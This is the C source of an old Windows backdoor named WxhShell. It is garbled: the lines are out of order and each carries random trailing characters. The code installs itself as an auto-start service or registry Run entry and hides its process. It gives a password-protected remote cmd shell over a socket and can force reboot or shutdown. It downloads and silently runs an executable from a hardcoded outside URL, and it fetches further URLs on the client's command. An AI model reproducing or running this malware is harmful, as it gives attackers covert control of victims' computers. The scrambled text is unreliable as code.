    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d6g^>}-!t  
    if(Boot(SHUTDOWN)) IUwMIHq&sW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aeTVcq  
    else { iR{*X E   
    closesocket(wsh); a>)|SfsE  
    ExitThread(0); /~_,p,:aP  
    } j<-YK4.t  
    break; ?`=r@  
    } ^r^)  &]  
  // 获取shell O`'r:&#W  
  case 's': { 1y6{3AZm<  
    CmdShell(wsh); 5H/D~hr&  
    closesocket(wsh); hv9k9i7@l  
    ExitThread(0); f26hB;n  
    break; Jrw R:_+|  
  }  kSU]~x  
  // 退出 E3 aj  
  case 'x': { m 3"|$0C~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ??? ;H  
    CloseIt(wsh); +IbQVU~/  
    break; ivP#qM1*;  
    } eW;0{P  
  // 离开 p7]V1w:  
  case 'q': { sEEyN3 N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  z-;{pPZ  
    closesocket(wsh); S,^)\=v  
    WSACleanup(); r( 8!SVX  
    exit(1); nrRP1`!]T  
    break; ;Km74!.e7  
        } >jg"y  
  } OVU+V 0w1a  
  } bv4G!21]*;  
uxD$dd?  
  // 提示信息 .a]9rQQ&_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L [=JHW  
} I@o42%w2  
  } x10u?@  
"'*w_H0  
  return; Ggp.%kS6F  
} q;=!=aRg  
?bH!|aW(H  
// shell模块句柄 ^mCKRWOP'  
int CmdShell(SOCKET sock) \LQ54^eB  
{ Q*8=^[x  
STARTUPINFO si; NaYr$`  
ZeroMemory(&si,sizeof(si)); +|TFxaVz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RP~ hi%A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fHR^?\VVp  
PROCESS_INFORMATION ProcessInfo; Ig"Qw vR  
char cmdline[]="cmd"; !5=S 2<UX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }J|Pd3Q Sf  
  return 0; I&|J +B?#  
} y:ad%,. C  
!t!\b9=  
// 自身启动模式 b[`fQv$G  
int StartFromService(void) y#)ad\  
{ 7':qx}c#!1  
typedef struct db5@+_  
{ )|`|Usn#[  
  DWORD ExitStatus; M Qlx&.>  
  DWORD PebBaseAddress; @;ob 4sU  
  DWORD AffinityMask; }q D0-  
  DWORD BasePriority; T~- OC0  
  ULONG UniqueProcessId; TjLW<D(i>  
  ULONG InheritedFromUniqueProcessId; Vs@H>97,G  
}   PROCESS_BASIC_INFORMATION; J0O wzO  
xty)*$C>  
PROCNTQSIP NtQueryInformationProcess; w4(g]9^Q  
I/ V`@*/+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;FO( mL(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H&E3RU> `  
^%jk.*  
  HANDLE             hProcess; F%^)oQT+c  
  PROCESS_BASIC_INFORMATION pbi; s8iB>-dk  
fH*1.0f]6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9KGi%UIFvn  
  if(NULL == hInst ) return 0; TIYo&?Z)  
jltW@co2sV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y;[+^J*a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vvmG46IgZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Us*zKgW  
U3b&/z|b?  
  if (!NtQueryInformationProcess) return 0; }?^5L7n  
+X|^ ~)tMJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  "DsL$D2e  
  if(!hProcess) return 0; 8q_"aa,`  
(~OP)F).  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n>\2_$uDI  
O 6Mxp -  
  CloseHandle(hProcess); o#=@!m  
\:D"#s%x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u;3wg`e  
if(hProcess==NULL) return 0; )0N^rw kW  
A#KfG1K>  
HMODULE hMod; W~qVZ(G*U  
char procName[255]; \zM3{{mV/  
unsigned long cbNeeded; ds;c\x  
/YHAU5N/}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VL2+"<  
^&Wa? m.  
  CloseHandle(hProcess); cyPJ( &;  
%E*Q0/  
if(strstr(procName,"services")) return 1; // 以服务启动 o#9 Q   
/;clxtus  
  return 0; // 注册表启动 c 4Wl^E 8  
} ?{rpzrc!*  
cbaa*qoU  
// 主模块 O =0j I  
int StartWxhshell(LPSTR lpCmdLine) ViYfK7Z  
{ Vh'H =J  
  SOCKET wsl; SBh"^q  
BOOL val=TRUE; U2vM|7 ]VP  
  int port=0; X(JE]6_  
  struct sockaddr_in door; W\5PsGUsv  
i.Z iLDs\7  
  if(wscfg.ws_autoins) Install(); 5VjO:>  
$~)YI/b  
port=atoi(lpCmdLine); W@FSQ8b>$m  
0AD8X+M{P  
if(port<=0) port=wscfg.ws_port; ,jq:%Y[KZ  
gi #dSd1\&  
  WSADATA data; I#PhzGC@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $L"h|>b\o  
EaKbG>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ><i: P*ht  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E_-QGE/1  
  door.sin_family = AF_INET; FW)VyVFmk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _bn "c@s  
  door.sin_port = htons(port); 9>9,   
yV?qX\~*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K7c[bhi_w  
closesocket(wsl); j06qr\Es  
return 1; 7(l>Ck3B#  
} za!8:(  
2KtK.2;7  
  if(listen(wsl,2) == INVALID_SOCKET) { TXo`P_SE  
closesocket(wsl); E{BX $R_8  
return 1; YDYN#Ob(;  
} l!mx,O`  
  Wxhshell(wsl); gfJHB3@  
  WSACleanup(); 8F9x2CM-[C  
ve^gzE$<I  
return 0; yS1i$[JV  
YF)k0bu&;  
} apZPHau6h  
}inV)QQ  
// 以NT服务方式启动 C`qE ,2.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %U6A"?To  
{ DIw9ov>k  
DWORD   status = 0; y}1Pc*  
  DWORD   specificError = 0xfffffff; Q?>DbT6  
7#(0GZN9h%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; se=;vp]3a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xm3r)Bm'3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4 (XV)QR  
  serviceStatus.dwWin32ExitCode     = 0; qL4s@<|~  
  serviceStatus.dwServiceSpecificExitCode = 0; Z rv:uEl  
  serviceStatus.dwCheckPoint       = 0; o3JSh=  
  serviceStatus.dwWaitHint       = 0; F-Bj  
==AmL]*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mgMa)yc!dp  
  if (hServiceStatusHandle==0) return; otX/sg.B*  
|u]IOw&1  
status = GetLastError(); 3JEg3|M(  
  if (status!=NO_ERROR) Ey=ymf.}  
{ qe 'RvBz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3~1Gts  
    serviceStatus.dwCheckPoint       = 0; 54].p7  
    serviceStatus.dwWaitHint       = 0; +U)4V}S)  
    serviceStatus.dwWin32ExitCode     = status; M+*K-zt0  
    serviceStatus.dwServiceSpecificExitCode = specificError; W*B=j[w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Z); k`j  
    return; {2k]$|  
  } n8tw8o%&[  
+Fb+dU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RM;Uq >l  
  serviceStatus.dwCheckPoint       = 0; /@B2-.w  
  serviceStatus.dwWaitHint       = 0; WK0:3q(P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6MNrH  
} :b] \*  
lffw "  
// 处理NT服务事件,比如:启动、停止 X;n09 L`CB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1,P\dGmu  
{  S~bhh&  
switch(fdwControl) C\4d.~C:w3  
{ -^3uQa<zN^  
case SERVICE_CONTROL_STOP: -lrcb/)Gz  
  serviceStatus.dwWin32ExitCode = 0; #\ uB!;Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UA|\D]xe  
  serviceStatus.dwCheckPoint   = 0; ^a<kp69qS  
  serviceStatus.dwWaitHint     = 0; U\(71 =  
  { +NbiUCMX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i+F*vTM2,  
  } /24}>oAH  
  return; >#)%/Ti}DU  
case SERVICE_CONTROL_PAUSE: vVP.9(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yi:}UlO  
  break; l(W?]{C[%  
case SERVICE_CONTROL_CONTINUE: >qs/o$+t}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y^z c @f  
  break; 1nw\?r2  
case SERVICE_CONTROL_INTERROGATE: TF9A4  
  break; et"Pb_-U  
}; bB>.dC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xS>vmnW  
} ex BLj *]  
Gu@C* .jj!  
// 标准应用程序主函数 E*h!{)z@F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N\];{pe>  
{ AOJ[/YpM  
!C h1q  
// 获取操作系统版本 ,Js-'vX  
OsIsNt=GetOsVer(); 0' oXA'L-J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F]t=5 -O<  
+u&[ j/  
  // 从命令行安装 F-$!e?,H  
  if(strpbrk(lpCmdLine,"iI")) Install(); s/.P/g%tA>  
wqi0%Cu*  
  // 下载执行文件 Z~<=I }@  
if(wscfg.ws_downexe) { ~> N63I6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8Ihl}aguW  
  WinExec(wscfg.ws_filenam,SW_HIDE); jZC[_p;  
} IJt'[&D  
d14n>  
if(!OsIsNt) { G$2@N6  
// 如果时win9x,隐藏进程并且设置为注册表启动 Oxa8ue?  
HideProc(); >cLh$;l  
StartWxhshell(lpCmdLine); no W]E}nN  
} |}.}q  
else 0ckmHv  
  if(StartFromService()) b kc*it  
  // 以服务方式启动 "}wO<O6[  
  StartServiceCtrlDispatcher(DispatchTable); vK[%c A"  
else Ctn 4q'Q  
  // 普通方式启动 z:$ibk4#h  
  StartWxhshell(lpCmdLine); hO&_VCk  
TEh.?  
return 0; #4lIna%VX  
} p_(En4QSH  
rlGv6)vb  
gO)":!_n W  
)$1>6C\  
=========================================== T2/:C7zL  
a+cDH  
gb|;]mk*"  
IxS%V31  
46pR!k  
7~F~'V  
" xQ7U$QF|]  
"l9aBBiu  
#include <stdio.h> 1. +6x4%rV  
#include <string.h> BjagG/ sX  
#include <windows.h> co3\1[q"b  
#include <winsock2.h> N'WC!K.e  
#include <winsvc.h> J{.UUw9Agd  
#include <urlmon.h> \1LfDlQk)  
s'oNW  
#pragma comment (lib, "Ws2_32.lib") tv.<pP9-C  
#pragma comment (lib, "urlmon.lib") NPS*0y/  
#4b]j".P!n  
#define MAX_USER   100 // 最大客户端连接数 w#[cGaIB  
#define BUF_SOCK   200 // sock buffer 3fp&iz  
#define KEY_BUFF   255 // 输入 buffer n=bdV(?4  
;Xy=;Z.]i  
#define REBOOT     0   // 重启 2,F9P+  
#define SHUTDOWN   1   // 关机 '5 ~cd  
huS*1xl  
#define DEF_PORT   5000 // 监听端口 \ ZE[7Ae  
pA8As  
#define REG_LEN     16   // 注册表键长度 pmvd%X\f  
#define SVC_LEN     80   // NT服务名长度 ];4!0\M  
U: Wet,  
// 从dll定义API rv(?%h`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4l%1D.3-O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w3ni@'X8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?h&?`WO (  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hcwfe=K&/  
^a_a%ws  
// wxhshell配置信息 4k-Ak6s  
struct WSCFG { 8\!E )M|4  
  int ws_port;         // 监听端口 BjsT 9?6W/  
  char ws_passstr[REG_LEN]; // 口令 qSB&Q0T  
  int ws_autoins;       // 安装标记, 1=yes 0=no WA"~6U*  
  char ws_regname[REG_LEN]; // 注册表键名 (nt`8 0  
  char ws_svcname[REG_LEN]; // 服务名 I](a 5i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *$W&jfW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n\l?+)S *  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &v0-$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m;]wKd"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cp mT *  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %ACW"2#(  
m|B=&#  
}; 0Zi+x#&d  
&.\7='$F  
// default Wxhshell configuration >#x[qX  
struct WSCFG wscfg={DEF_PORT, =uH2+9.  
    "xuhuanlingzhe", 5C9b*]-#  
    1, e5>'H!)  
    "Wxhshell", V7Cnu:0_  
    "Wxhshell", "H).2{3(x  
            "WxhShell Service", fDf[:A,8  
    "Wrsky Windows CmdShell Service", %g}d}5s  
    "Please Input Your Password: ", <cp9+P <  
  1, 'v~'NWfd  
  "http://www.wrsky.com/wxhshell.exe", PnA{@n\  
  "Wxhshell.exe" JRo/ HY+  
    }; v/q-{ 1   
0DmA3  
// 消息定义模块 xBVOIc[4(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z6C(?R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AtG~!)hG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _ (F-(X|  
char *msg_ws_ext="\n\rExit."; )6C+0b*  
char *msg_ws_end="\n\rQuit."; pWGR #x'  
char *msg_ws_boot="\n\rReboot..."; ]`|$nU}v  
char *msg_ws_poff="\n\rShutdown..."; w,LmAWZ4Y  
char *msg_ws_down="\n\rSave to "; {:K_=IRZ  
0_gN]>,9n  
char *msg_ws_err="\n\rErr!"; )*;Tt @'y  
char *msg_ws_ok="\n\rOK!"; vKG\8+  
Giv,%3'  
char ExeFile[MAX_PATH]; %7 bd}sJ#  
int nUser = 0; su1lv#  
HANDLE handles[MAX_USER]; 78uImC*o  
int OsIsNt; q2vD)r  
1N8] ~ j  
SERVICE_STATUS       serviceStatus; UxTLr-db^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; phuiLW{&  
*9EwZwE_K  
// 函数声明 A _zCSRF,  
int Install(void); BB/wL_=:  
int Uninstall(void); i D IY|  
int DownloadFile(char *sURL, SOCKET wsh); I?3b}#&V9  
int Boot(int flag); F,wB6Cw  
void HideProc(void); 'F/oR/4,  
int GetOsVer(void); h#hr'3bI1  
int Wxhshell(SOCKET wsl); _xaum  
void TalkWithClient(void *cs); {r&mNbz  
int CmdShell(SOCKET sock); 6:#o0OeBP  
int StartFromService(void); K=[7<b,:3  
int StartWxhshell(LPSTR lpCmdLine); \5r^D|Rp}  
t<p#u=jOa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z3tx]Ade  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6(bN*.  
[Y .8C$0  
// 数据结构和表定义 K$,Zg  
SERVICE_TABLE_ENTRY DispatchTable[] = 5wx_ol}2  
{ JY#vq'dl|  
{wscfg.ws_svcname, NTServiceMain}, yS W$zA,  
{NULL, NULL} ZL6HD n!  
}; 3\XNOJH  
cmG27\cRO  
// 自我安装 ;{sZDjev>  
int Install(void) d&FXndC4F  
{ NZvgkci_(u  
  char svExeFile[MAX_PATH]; &)1.z7T  
  HKEY key; STW?0B'Jr  
  strcpy(svExeFile,ExeFile); 5E'/8xpbB  
D$}8GYq  
// 如果是win9x系统,修改注册表设为自启动 2X@9o4_4q  
if(!OsIsNt) { |IcW7(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?}cmES kX@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "[_j8,t`  
  RegCloseKey(key); .`OU\LA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F}_b7 |^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,TQec:B  
  RegCloseKey(key); IgX &aW  
  return 0; 6!m#;8 4  
    } j 2ag b  
  } &j F'2D^_  
} *-nO,K>y`  
else { Te+(7 Z  
*4U_MM#rX  
// 如果是NT以上系统,安装为系统服务 mAW.p=;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r N$0qo  
if (schSCManager!=0) g-sNYd%?a  
{ = j1Jl^[  
  SC_HANDLE schService = CreateService >a?Bk4w  
  ( v1OVrk>s>  
  schSCManager, ="voJgvw  
  wscfg.ws_svcname, Tz @=N]D  
  wscfg.ws_svcdisp, J?8Mo=UZz  
  SERVICE_ALL_ACCESS, _Vr- bpAf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v76Gwu$ d  
  SERVICE_AUTO_START, W@T \i2r$z  
  SERVICE_ERROR_NORMAL, o9eOp3w30  
  svExeFile, [I *_0  
  NULL, |(>`qL{|  
  NULL, 6'Q{xJe?  
  NULL, }(nT(9|  
  NULL, SOOVUMj  
  NULL u<edO+  
  ); WO qDW~  
  if (schService!=0) HOP*QX8C%  
  { g< j)  
  CloseServiceHandle(schService); Z =+Z96  
  CloseServiceHandle(schSCManager); xe!bfzU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JsJP%'^/R  
  strcat(svExeFile,wscfg.ws_svcname); MGR:IOTa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dkz/hg:q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YRu@; `  
  RegCloseKey(key); yvYMk(LSF  
  return 0; f% pT-#  
    } *dw.=a9  
  } e|]e\Or>  
  CloseServiceHandle(schSCManager); XGl2rX&  
} W+ S~__K  
} +S4n416K  
s;VW %e  
return 1; r2=@1=?8  
} )5}<@Ql  
V`I4"}M1  
// 自我卸载 \d@5*q  
int Uninstall(void) BHY8G06  
{ VQ9A/DH/  
  HKEY key; FzInIif  
Vu$m1,/  
if(!OsIsNt) { bk0>f   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pa>C}jk}6  
  RegDeleteValue(key,wscfg.ws_regname); ZNQ x;51  
  RegCloseKey(key); 5CY%h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [neuwdN  
  RegDeleteValue(key,wscfg.ws_regname); E5ce=$o  
  RegCloseKey(key); "-Q+!byh  
  return 0; m!<HZvq?vf  
  } N'`X:7fN  
} 'ITq\1z  
} Q~,Mzt"}W  
else { _(N+z.  
igxO:]?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p'R<yB)V  
if (schSCManager!=0) (4YLUN&1O$  
{ |+nmOi,z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N"70P/  
  if (schService!=0) nTy]sPn  
  { 42dv3bE"  
  if(DeleteService(schService)!=0) { _**Nlp*%  
  CloseServiceHandle(schService); 8 lggGt  
  CloseServiceHandle(schSCManager); }S> 4.8  
  return 0; [Hh-F#|R  
  } b>-DX  
  CloseServiceHandle(schService); *#=Ijr~  
  } nR_Z rm  
  CloseServiceHandle(schSCManager); :G _  
} q'mh*  
} 2R/|/>T v  
F1Z'tjj+  
return 1; LF7- ?? '  
} *tXyd<_Hd  
&6sF wK  
// 从指定url下载文件 p@tg pFt  
int DownloadFile(char *sURL, SOCKET wsh) *[si!e%  
{ hYJzF.DW<$  
  HRESULT hr; u$T]A8e  
char seps[]= "/"; p<fCGU  
char *token; TLwxP"  
char *file; RjW wsC~B  
char myURL[MAX_PATH]; V^_A{\GK  
char myFILE[MAX_PATH]; {-Y;!  
:iE b^F}  
strcpy(myURL,sURL); `ASDUgx Mq  
  token=strtok(myURL,seps); !T0I; j&  
  while(token!=NULL) 6K.2VY#  
  { As,`($=  
    file=token; JS/'0.  
  token=strtok(NULL,seps); fL*7u\m:  
  } N5?bflY  
^k6_j\5j  
GetCurrentDirectory(MAX_PATH,myFILE); :v^/k]S  
strcat(myFILE, "\\"); D3o,2E(o  
strcat(myFILE, file); > 80{n8  
  send(wsh,myFILE,strlen(myFILE),0); Os9SfL  
send(wsh,"...",3,0); s)-oCT$[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TQ"XjbhU;X  
  if(hr==S_OK) &n<YmW?"  
return 0; 82LE9<4A  
else g>/Y}{sL-  
return 1; \|HtE(uCM1  
s#X/ F  
} DDrR9}k  
<i~xJi%1#  
// 系统电源模块 \J^#2{d  
int Boot(int flag) >=@-]X2%j  
{ 2`=jKt  
  HANDLE hToken; z D{]3pg  
  TOKEN_PRIVILEGES tkp; 4(L mjue]?  
si0}b~t  
  if(OsIsNt) { :60v bO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7#LIGr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x3O%W?5  
    tkp.PrivilegeCount = 1; *6}M.`.-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rS1gFGrj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ('&lAn  
if(flag==REBOOT) { bn*:Bn1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jq~`rE h9  
  return 0; Rta}*  
} /v!yI$xc  
else { *)K 5<}V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sz0PZtJ  
  return 0; b <W\#3~G  
} JQQyl:=  
  } F.vRs|fk  
  else { 3&-rOc  
if(flag==REBOOT) { 7By7F:[b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ? |M-0{  
  return 0; v-8>@s jy8  
} !f~a3 {;j  
else { R~g|w4a@sC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !gX xM,R  
  return 0; %2 r ~  
} +#IUn  
} XCM!8x?K  
8Ths"zwn  
return 1; yy3rh(ea  
} I!/32* s1t  
Ca |}i+  
// win9x进程隐藏模块 mb*Yw 6q  
void HideProc(void) s#$t!F??9  
{ {it.F4.  
+g1>h ,K 3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H!;N0",]N  
  if ( hKernel != NULL ) oG,>Pk  
  { O,%UNjx9K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mE~ WE+lw9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y [Vd*8  
    FreeLibrary(hKernel); +<E#_)}`D6  
  } P'~`2W0sz  
F,_L}  
return; f`qy~M&  
} -zK>{)Z=q  
D.Ke  
// 获取操作系统版本 ,hzRqFg2  
int GetOsVer(void) S#ryEgc]  
{ @GQe-04W`  
  OSVERSIONINFO winfo; > .wZEQ6QK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BK!Yl\I<  
  GetVersionEx(&winfo); I9kz)Q o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dS1HA>c)O  
  return 1; *R6lK&  
  else I_1?J* b4k  
  return 0; Y}[<KK}_  
} hb3n- rO  
k+_>`Gre}  
// 客户端句柄模块 O*N:A[eW  
int Wxhshell(SOCKET wsl) ? 2}%Rb39  
{ YJ~<pH  
  SOCKET wsh; H; `F}qQ3  
  struct sockaddr_in client; l,|Llb  
  DWORD myID; CPZ{  
SK}jhm"y  
  while(nUser<MAX_USER) Fo3*PcUv  
{ *~8F.c x  
  int nSize=sizeof(client); O?vh]o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X;LYGJ{Xk  
  if(wsh==INVALID_SOCKET) return 1; =z}PR1X!  
S257+ K9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O>)eir7  
if(handles[nUser]==0) 5AT^puL]]  
  closesocket(wsh); uzp\V 39  
else L@Rgiq|v-|  
  nUser++; +s#%\:Y M  
  } }+j B5z'w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RLf-Rdx/  
nWK8.&{.  
  return 0; J`g5Qn @S  
} xOkduk]  
hNc8uV{r=  
// 关闭 socket 4&E"{d >  
void CloseIt(SOCKET wsh) s8 WB!x{t  
{ Y%i<~"k  
closesocket(wsh); 56C8)?  
nUser--; mAlG }<  
ExitThread(0); K+Him] b  
} yl$Ko  
e"866vc,  
// 客户端请求句柄 1(;{w +nM  
void TalkWithClient(void *cs)  r(^00hvH  
{ Q7x[08TI  
{/noYB<;  
  SOCKET wsh=(SOCKET)cs; fV+a0=Z  
  char pwd[SVC_LEN]; "'5(UiSFz  
  char cmd[KEY_BUFF]; hT^&*}G  
char chr[1]; C2<TR PT  
int i,j; .qE  
7c_2.T@4  
  while (nUser < MAX_USER) { 9swHa  
NFVu~t  
if(wscfg.ws_passstr) { 10Eun }  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XU7to]'K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wai3g-`  
  //ZeroMemory(pwd,KEY_BUFF); L\mF[Kd#+T  
      i=0; ?EUg B\  
  while(i<SVC_LEN) { La6 9or   
rQzdHA  
  // 设置超时 O n0!>-b,  
  fd_set FdRead; }/J"/ T  
  struct timeval TimeOut; RrxbsG1HP  
  FD_ZERO(&FdRead); ,|c;x1|O  
  FD_SET(wsh,&FdRead); qz- tXc ,  
  TimeOut.tv_sec=8; M XW1 :  
  TimeOut.tv_usec=0; j~_iv~[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7bYwh8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R\cx-h*  
R.i ]6H!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w*{{bISw|  
  pwd=chr[0]; W$]qo|2P  
  if(chr[0]==0xd || chr[0]==0xa) { 8K2@[TE=5  
  pwd=0; M? 8sy  
  break; ~;?mD/0k  
  } v[|-`e*  
  i++; uWx<J3~q.  
    } YXo?(T..  
L%H\|>k`  
  // 如果是非法用户,关闭 socket MO0t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ((Av3{05H&  
} & *tL)qKDc  
=9TwBr.CJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DD/B\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Fcr`[  
[+FiD  
while(1) { bB0/FiY7o  
7a>+ma\  
  ZeroMemory(cmd,KEY_BUFF); :PV3J0pB~  
~> )>hy)  
      // 自动支持客户端 telnet标准   V|A)f@ Fs  
  j=0; a6zWg7 PN  
  while(j<KEY_BUFF) { RQ0^ 1 R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A*BN  
  cmd[j]=chr[0]; Qc Wg  
  if(chr[0]==0xa || chr[0]==0xd) { @@ @}FV&  
  cmd[j]=0; !{,2uQXe  
  break; >Ec;6V e  
  } yVVyWte,  
  j++; 0(o2<d7  
    } J#:`'eEG  
H6Zo|n  
  // 下载文件 S.[L?uE~F  
  if(strstr(cmd,"http://")) { B _ J2Bf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e 6wevK\  
  if(DownloadFile(cmd,wsh)) # Ey_.4S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LawE 3CD  
  else K!AA4!eUzM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h}|.#!C3  
  } dB~A4pZa  
